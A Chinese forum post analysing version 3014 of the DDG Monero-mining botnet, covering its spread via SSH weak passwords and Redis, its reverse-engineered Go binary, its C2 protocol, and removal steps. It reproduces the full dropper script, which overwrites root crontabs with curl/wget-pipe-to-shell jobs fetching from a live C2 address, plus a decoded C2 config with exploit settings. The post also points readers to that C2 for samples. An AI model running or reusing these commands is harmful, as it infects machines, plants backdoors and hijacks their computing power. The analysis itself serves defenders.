本帖最后由 Net丶S 于 2018-12-21 09:57 编辑
之前偶然发现了ddgs的全新版本3014,正好之前也没仔细分析过ddg挖矿家族,这次仔细分析一下,还有一些地方没太懂,大致写出来。
DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器,并攫取服务器算力挖矿(门罗币)的僵尸网络。DDG最早出现在2017年,此后不断更新,从2017年10月开始,DDG先后发布了 201x, 202x, 301x 三个大的系列版本,内部分为6个小的版本,以及若干小版本内部的补丁修正。最新版通过SSH弱口令和redis未授权访问来传播,早期版本还利用过strust2和OrientOB作为攻击手段。
一、基本信息
目前存活的最新C2地址上可以看到全部的样本,如下:
ddg全家福
查看最新的ddgs3014:
主要传播脚本地址:http://13.113.240.221:8000/i.sh ,内容:
[Bash shell] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | export PATH=$PATH: /bin : /usr/bin : /usr/local/bin : /usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep - v grep | grep /tmp/ddgs .3014 || rm -rf /tmp/ddgs .3014
if [ ! -f "/tmp/ddgs.3014" ]; then
wget -q http: //13 .113.240.221:8000 /static/3014/ddgs .$( uname -m) -O /tmp/ddgs .3014
curl -fsSL http: //13 .113.240.221:8000 /static/3014/ddgs .$( uname -m) -o /tmp/ddgs .3014
fi
chmod +x /tmp/ddgs .3014 && /tmp/ddgs .3014
ps auxf | grep - v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep - v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep - v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep - v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep - v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep - v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
|
二、样本行为分析
从上文中i.sh代码中可以看到,i.sh主要做了三步,首先将下载自身并执行写入定时任务,然后下载主文件ddgs.3014并执行,最后杀掉其他常见挖矿进程。下面主要分析ddgs.3014。
IDA直接加载64位的样本文件ddgs.3014,样本是一个已经去除了符号的二进制文件,看不到函数名,这种情况下首先想办法还原函数名,目前还原函数名有两种方式,IDA的flair制作签名文件还原和使用Python脚本还原。根据以往的资料得知ddgs是go语言编写,如果不知道可以通过汇编特征比对判断编写语言,go语言有一个作者提供了一个函数名还原脚本,使用IDAPython脚本还原函数名,作者博客:https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/。
用这个脚本可以直接还原出部分函数名,这样我们就可以通过函数名来获取一些信息,直接搜索找到main_main函数,同时还发现几个可疑函数main_Newminerd,main_backdoor等:
还原函数名
这里先不管,直接看main函数首先检查了环境,通过后会调用makedaemon函数把自己变成守护进程:
然后调用三个函数,分别执行新建守护进程,写入后门,进行挖矿。
新建守护进程
main_NewGuard函数调用main__backdoor_background将控制者的SSHKey写入到了authorized_key文件中。
main_NewMinerd函数,分为几个步骤,首先遍历自带IP列表中的地址,发送请求下载矿机到/tmp目录下,然后请求C2获取挖矿的配置信息,再启动挖矿,函数调用顺序为main_NewMinerd->main__minerd_background,background里面循环执行ddgs_cmd__XRun_Do,去下载并执行矿机。
矿机执行
然后会将内置的IP列表解码并初始化,得到内置C2列表,开始无限循环,这一部分前一半和矿机去请求C2获取挖矿地址钱包等信息的操作相同,都是向这个地址发送请求,解析返回的信息提取需要的,只是这部分会根据另外的信息执行传播:
首先请求http://ip:8000/slave:
Main_pingpang函数中会向指定IP发起http请求,获取返回结果,请求地址为http://ip:8000/slave,如果返回200,则一并返回一段msgpack编码的信息。如下图:
发送请求:
发送请求的函数中拼接地址
拼接请求地址
请求的http流
返回的信息
如果找到了存活的C2并且收到了返回信息,就把msgpack编码的信息解码:
对返回的信息解码
根据C2返回的信息,会执行矿机的更新,调用下一步攻击操作函数cmd_table,在ddgs_cmd__Table_Do函数中会根据解码后的信息,调用ddgs_cmd__AAredis_exploit函数和ddgs_cmd__AAssh_Test函数进一步攻击,传播,到这个位置是一整个循环,主进程会一直重复这个循环。
根据返回信息进行下一波操作
目前测试只会进行挖矿,没有扫描,说明C2没有下发扫描的信息。
msgpack编码的信息包含了挖矿的矿池,要下载的脚本,SSH弱口令和redis的利用范围等等信息,解码后的内容大致如下:
[XML] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | {Data:
Config:
Interval: "360s";
Miner: [{
Exe: "/tmp/qW3xT.4",
Md5: 9dd8c5b1dc74286d81bc78372d9b7f27,
Url: "/static/qW3xT.4"
}],
Cmd:[
AAredis:{
Id: 6093,
Version: 3021,
ShellUrl: "http://13.113.240.221:8000/i.sh"
NThreads: 204,
Duration: "240h”,
IPDuration: "26h",
GenLan,
GenAAA,
Timeout: "21m",
Ports: (5379, 6379, 7379)
},
AAssh:{
Id: 2253,
Version: 3021,
ShellUrl: "http://13.113.240.221:8000/i.sh",
Duration: "240h”,
IPDuration: "312h",
GenLan,
GenAAA,
Timeout: "21m",
Ports: (22, 2222)
},
Sh:[
{
Id: 398,
Version: 255,
Timeout "120s",
Line: "curl -fsSL http://13.113.240.221:8000/static/disable.sh | sh"
},{
Id: 461,
Version: 3013,
Line: "curl -fsSL http://13.113.240.221:8000/i.sh | sh",
Timeout: "120s",
Killer: 132
},{
Id: 388,
Version: 3014,
Expr: "/tmp/ddgs.3013"
Timeout: "360s"
},{
Id: 389,
Version: 3014,
Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+",
Timeout: "360s"
},{
Id: 390,
Version: 3014,
Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg",
Timeout: "360s"
},{
Id: 381,
Version: 255,
Expr: "/tmp/2t3ik.+"
},{
Id: 397,
Version: 255,
Expr: "/tmp/qW3xT.+",
Timeout: "360s"
}
]
],
Signature:
'B|\x88Q\xe1"E\x12;\x8f\xf0$\n\xca\xce\x8da\x89\xfcW\x1d\x9dm\x10\x01\xf9\x84H\x19\x03\xc70e\xa2[\x04\xd1G\xba\xabQ;\x9d\xc7\x01C\x17k\xad\x9a-\x9c\xae\x82\xd2\xb8\x80\x81}\xdd\xb9@\xf1\x7fE\xd6\xed\xab\xe9\x08\xb2-\x8c\xad\xfd\xe9 "R\xdd\x91Y\xffgf\xaf\xb6y0\x8c$\x18\xad\xb8\xcb\xe89.\x01\x16\xfb\xf0\x93\xfaBA>]h+F\xe4\xd9\x9c\xc1\x1cOI\xd7\x16P%\xec~\xee\xeb`\x8d\xbe\xf7\x07\x1dM\x85\x88\x8eT\xcc\xb8 x`\n\xc2\xf7X\xc1E\x8e)\x1c\x16n\xebw\x13\xef=;\x1f_Y7Zof(/\x19#\xf1\xbb\xb9s\x86;\x11zlC\xcbh\xfa\xb0\xca\xd6%\nQ\x948L\x8c_\xc8\xb5O6(Y\x99\xa2\xfb\x04\xef\xf2\xbe\x11\xc7w\xc7\x87\x0e\xc2\xe3\xbca)|\xea0 "\x8b\x96q\x14q\xe68\xb7\x1eo\x16\x02\xd4\xba\xfc\\\x8a\x95\x18\xb1\xc9>p=\xb0\xf6\xf6N\xa5\x87;\xde\xf4\xb4\x83'
}
|
三、清除方法
清除定时任务
删除/var/spool/cron/crontabs/root文件内的
*/15 * * * * curl -fsSLhttp://13.113.240.221:8000/i.sh | sh
删除/var/spool/cron/root文件内的
*/5 * * * * wget -q -O-http://165.225.157.157:8000/i.sh | sh
删除/tmp/ddgs.3014 /tmp/qW3xT.4 /tmp/qW3xT.3
杀死 ddgs.3014 qW3xT.4进程
样本比较大,传不上来,可以直接去C2下载,目前还存活,后续失效了还想要的联系我吧 |